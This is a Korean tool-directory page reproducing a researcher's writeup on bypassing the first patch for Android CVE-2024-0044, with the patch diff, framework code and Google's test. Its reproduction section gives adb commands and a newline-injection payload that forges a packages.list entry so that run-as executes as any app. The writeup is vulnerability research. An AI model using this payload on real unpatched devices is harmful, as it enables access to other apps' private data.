Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-0044 — CVE-2024-0044의 초기 패치를 우회하기 위한 개념 증명 및 분석 자료로, 설치 프로그램 패키지 이름 주입을 통해 ADB에서 임의 앱 UID로 권한 상승을 가능하게 하는 Android 프레임워크 취약점입니다. | Kitploit
도구/GitHubGitHub/canyie/cve-2024-0044
Android SecurityPrivilege EscalationVulnerability AnalysisExploitationMobile SecurityPapers & ResearchLearning & EducationBinary Exploitation
GitHubcanyie/cve-2024-0044

CVE-2024-0044

CVE-2024-0044의 초기 패치를 우회하기 위한 개념 증명 및 분석 자료로, 설치 프로그램 패키지 이름 주입을 통해 ADB에서 임의 앱 UID로 권한 상승을 가능하게 하는 Android 프레임워크 취약점입니다.

저장소 보기
1802931년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2024-0044/A-307532206는 Android 프레임워크의 높은 심각도 취약점으로, adb 접근 권한이 있는 공격자가 임의 앱의 UID로 임의 코드를 실행할 수 있게 합니다. 이 취약점은 Meta Red Team X의 Tom Hebb가 처음 발견했습니다. 인터넷에서 이 글 및 이 글과 같이 이 취약점을 악용하는 많은 문서를 찾을 수 있습니다. 자세한 내용은 이 블로그를 확인하세요: https://rtx.meta.security/exploitation/2024/03/04/Android-run-as-forgery.html

이 취약점에 대한 패치는 2024년 3월 Android 보안 게시판에 포함되었지만, 저는 이제 패치를 우회하는 익스플로잇을 고안했습니다. 새 패치는 동일한 CVE ID인 CVE-2024-0044로 2024년 10월 Android 보안 게시판에 포함되었습니다. 보안 패치 수준이 2024-10-01 이전인 Android 12-13 기기는 이 문제에 취약합니다.

이 저장소에는 최소 재현 가능한 PoC와 분석 문서(writeup)가 포함되어 있습니다.

원래 패치의 문제점은 무엇인가?

패치는 PackageManagerService에 전달된 설치자 패키지 이름에 대한 검증을 추가했습니다:

root@kitploit:~
diff --git a/services/core/java/com/android/server/pm/PackageInstallerService.java b/services/core/java/com/android/server/pm/PackageInstallerService.java
index 2ca3e8f..02515cf 100644
--- a/services/core/java/com/android/server/pm/PackageInstallerService.java
+++ b/services/core/java/com/android/server/pm/PackageInstallerService.java
@@ -47,6 +47,7 @@
 import android.content.pm.PackageManager;
 import android.content.pm.ParceledListSlice;
 import android.content.pm.VersionedPackage;
+import android.content.pm.parsing.ParsingPackageUtils;
 import android.graphics.Bitmap;
 import android.net.Uri;
 import android.os.Binder;
@@ -601,17 +602,22 @@
 
         // App package name and label length is restricted so that really long strings aren't
         // written to disk.
-        if (params.appPackageName != null
-                && params.appPackageName.length() > SessionParams.MAX_PACKAGE_NAME_LENGTH) {
+        if (params.appPackageName != null && !isValidPackageName(params.appPackageName)) {
             params.appPackageName = null;
         }
 
         params.appLabel = TextUtils.trimToSize(params.appLabel,
                 PackageItemInfo.MAX_SAFE_LABEL_LENGTH);
 
-        String requestedInstallerPackageName = (params.installerPackageName != null
-                && params.installerPackageName.length() < SessionParams.MAX_PACKAGE_NAME_LENGTH)
-                ? params.installerPackageName : installerPackageName;
+        // Validate installer package name.
+        if (params.installerPackageName != null && !isValidPackageName(
+                params.installerPackageName)) {
+            params.installerPackageName = null;
+        }
+
+        String requestedInstallerPackageName =
+                params.installerPackageName != null ? params.installerPackageName
+                        : installerPackageName;
 
         if ((callingUid == Process.SHELL_UID) || (callingUid == Process.ROOT_UID)) {
             params.installFlags |= PackageManager.INSTALL_FROM_ADB;
@@ -935,6 +941,19 @@
         throw new IllegalStateException("Failed to allocate session ID");
     }
 
+    private static boolean isValidPackageName(@NonNull String packageName) {
+        if (packageName.length() > SessionParams.MAX_PACKAGE_NAME_LENGTH) {
+            return false;
+        }
+        // "android" is a valid package name
+        String errorMessage = ParsingPackageUtils.validateName(
+                packageName, /* requireSeparator= */ false, /* requireFilename */ true);
+        if (errorMessage != null) {
+            return false;
+        }
+        return true;
+    }
+

params.installerPackageName이 유효한 Android 패키지 이름이 아니면 null로 재설정되는 것을 볼 수 있습니다. 그러나 다음 줄에서 params.installerPackageName이 null이거나 유효하지 않을 때 requestedInstallerPackageName은 installerPackageName이 될 수 있습니다.

installerPackageName이란 무엇인가?

패치가 추가된 createSessionInternal 메서드를 살펴보겠습니다:

root@kitploit:~
    @Override
    public int createSession(SessionParams params, String installerPackageName,
            String callingAttributionTag, int userId) {
        try {
            return createSessionInternal(params, installerPackageName, callingAttributionTag,
                    userId);
        } catch (IOException e) {
            throw ExceptionUtils.wrap(e);
        }
    }
    private int createSessionInternal(SessionParams params, String installerPackageName,
            String installerAttributionTag, int userId)
            throws IOException{
    }

installerPackageName은 param에서 오지 않는 별도의 인자임을 알 수 있습니다. 원래 패치는 params.installerPackageName을 검증했지만 installerPackageName을 검증하는 것을 잊었습니다.

재현

Tom Hebb의 블로그에 있는 원본 익스플로잇 코드를 사용하여 재현할 수 있습니다. 이 저장소에는 최소 재현 가능한 PoC도 포함되어 있습니다. 제 PoC를 테스트하려면 빌드하고 생성된 apk를 /data/local/tmp/poc.apk로 푸시한 다음 adb shell로 다음 코드를 실행하세요:

root@kitploit:~
APK=/data/local/tmp/poc.apk
PAYLOAD="@null
victim <victim uid> 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
app_process -Djava.class.path=$APK /system/bin top.canyie.cve_2024_0044.PoC "$APK" "$PAYLOAD"
run-as victim

<victim uid>를 대상 앱의 UID로 바꾸세요.

게임을 다시 하려면 adb uninstall top.canyie.cve_2024_0044를 실행하고 위 코드를 다시 실행하세요.

어떻게 두 번이나 발생했나?

문제가 명백해 보이는데 어떻게 모든 사람의 눈을 피해갈 수 있었을까요?

Google은 이 문제가 수정되었는지 확인하기 위해 테스트를 추가했습니다:

root@kitploit:~
            // Set vulnerable 'appPackageName' and 'installerPackageName'
            // for 'SessionParams' instance
            final String vulnPackageName =
                    context.getPackageName() + "\n" + context.getPackageName();
            final SessionParams params = new SessionParams(MODE_FULL_INSTALL);
            params.setAppPackageName(vulnPackageName);
            params.setInstallerPackageName(vulnPackageName);

            final List<String> vulnerableFields = new ArrayList<String>();
            runWithShellPermissionIdentity(
                    () -> {
                        // Create session using 'SessionParams' instance, get 'appPackageName' and
                        // 'installerPackageName' corresponding to session and abandon session later
                        final PackageInstaller packageInstaller =
                                context.getPackageManager().getPackageInstaller();
                        final int sessionId = packageInstaller.createSession(params);
                        final String vulnerableAppPackageName =
                                packageInstaller.getSessionInfo(sessionId).getAppPackageName();
                        final String vulnerableInstallerPackageName =
                                packageInstaller
                                        .getSessionInfo(sessionId)
                                        .getInstallerPackageName();
                        packageInstaller.abandonSession(sessionId);

                        // Without fix, 'appPackageName' and 'installerPackageName' does not undergo
                        // internal validation and are set to 'vulnPackageName' which contain '\n'
                        if (vulnerableAppPackageName != null
                                && vulnerableAppPackageName.contains("\n")) {
                            vulnerableFields.add("'SessionParams.appPackageName'");
                        }
                        if (vulnerableInstallerPackageName != null
                                && vulnerableInstallerPackageName.contains("\n")) {
                            vulnerableFields.add("'SessionParams.installerPackageName'");
                        }
                    });

            String errorMessage =
                    "Device is vulnerable to b/307532206 !!"
                            + " packages.list newline injection allows"
                            + " run-as as any app from ADB"
                            + " Due to : Fix is not present for ";
            assertWithMessage(errorMessage.concat(String.join(" , ", vulnerableFields)))
                    .that(vulnerableFields)
                    .isEmpty();

테스트는 installerPackageName을 사용자 지정할 수 없는 공개 표준 PackageInstaller API를 사용합니다. 공개 API에서 installerPackageName은 항상 제공된 Context의 실제 패키지 이름으로 설정됩니다:

root@kitploit:~
    public int createSession(@NonNull SessionParams params) throws IOException {
        try {
            return mInstaller.createSession(params, mInstallerPackageName, mAttributionTag,
                    mUserId);
        } catch (RuntimeException e) {
            ExceptionUtils.maybeUnwrapIOException(e);
            throw e;
        } catch (RemoteException e) {
            throw e.rethrowFromSystemServer();
        }
    }

호출자가 타사 앱인 경우 installerPackageName은 호출자에게 속하는 것이 보장됩니다. 호출자가 adb인 경우 항상 null로 재설정되므로 문제가 없어 보입니다:

root@kitploit:~
        String requestedInstallerPackageName =
                params.installerPackageName != null ? params.installerPackageName
                        : installerPackageName;
        if ((callingUid == Process.SHELL_UID) || (callingUid == Process.ROOT_UID)) {
            params.installFlags |= PackageManager.INSTALL_FROM_ADB;
            // adb installs can override the installingPackageName, but not the
            // initiatingPackageName
            installerPackageName = null;
        } else {
            if (callingUid != Process.SYSTEM_UID) {
                // The supplied installerPackageName must always belong to the calling app.
                mAppOps.checkPackage(callingUid, installerPackageName);
            }
            // Only apps with INSTALL_PACKAGES are allowed to set an installer that is not the
            // caller.
            if (!TextUtils.equals(requestedInstallerPackageName, installerPackageName)) {
                if (mContext.checkCallingOrSelfPermission(Manifest.permission.INSTALL_PACKAGES)
                        != PackageManager.PERMISSION_GRANTED) {
                    mAppOps.checkPackage(callingUid, requestedInstallerPackageName);
                }
            }
        }

그러나 이 작업은 requestedInstallerPackageName이 installerPackageName으로 설정된 후에 발생하므로 원래 값이 유지됩니다.

그러나 자체 PoC를 작성하는 대신 Tom Hebb가 제공한 원본 PoC를 실행하면 pm 명령이 사용자 지정된 installerPackageName으로 내부 createSession 메서드를 호출하므로 문제를 발견할 수 있습니다.

한 가지 더 궁금한 점은 PoC가 공개적으로 접근 가능한데 왜 다른 누군가에 의해 문제가 발견되지 않았을까요?

음, 이 취약점은 인터넷에서 많은 사람들에 의해 분석, 재현 및 악용되었으며, JD Dawn Security Lab의 Qidan He(flanker)가 쓴 기사(참고로 CVE-2024-31317에 대한 매우 흥미로운 기사입니다)에는 "其中CVE-2024-0044因简单直接,在技术社区已经有了广泛的分析和公开的exp"("CVE-2024-0044는 단순하고 직접적이어서 기술 커뮤니티에서 이미 폭넓게 분석되고 공개적으로 악용되었습니다")라는 말이 있습니다. 그런데도 마치 모두가 마법에 걸린 것처럼 아무도 알아차리지 못했습니다.

실제로 누군가 패치된 빌드에서 익스플로잇을 성공적으로 재현했지만, 작성자는 무슨 일이 일어났는지 깨닫지 못한 것 같습니다. 저는 코드 검토를 통해 이 문제를 발견했고, 원래 패치가 공개된 지 2개월 후인 2024년 5월 16일에 보고했습니다. 저보다 앞선 누군가가 패치를 주의 깊게 살펴보는 데 몇 초만 더 투자했거나, 패치된 빌드에서 PoC를 실행하여 문제가 실제로 수정되었는지 확인했다면 버그 바운티는 그들의 것이었을 것입니다. 이는 중국어 가사 "再多看一眼就会爆炸"("한 번 더 보면 폭발할 것이다")처럼 들립니다.

도구 다운로드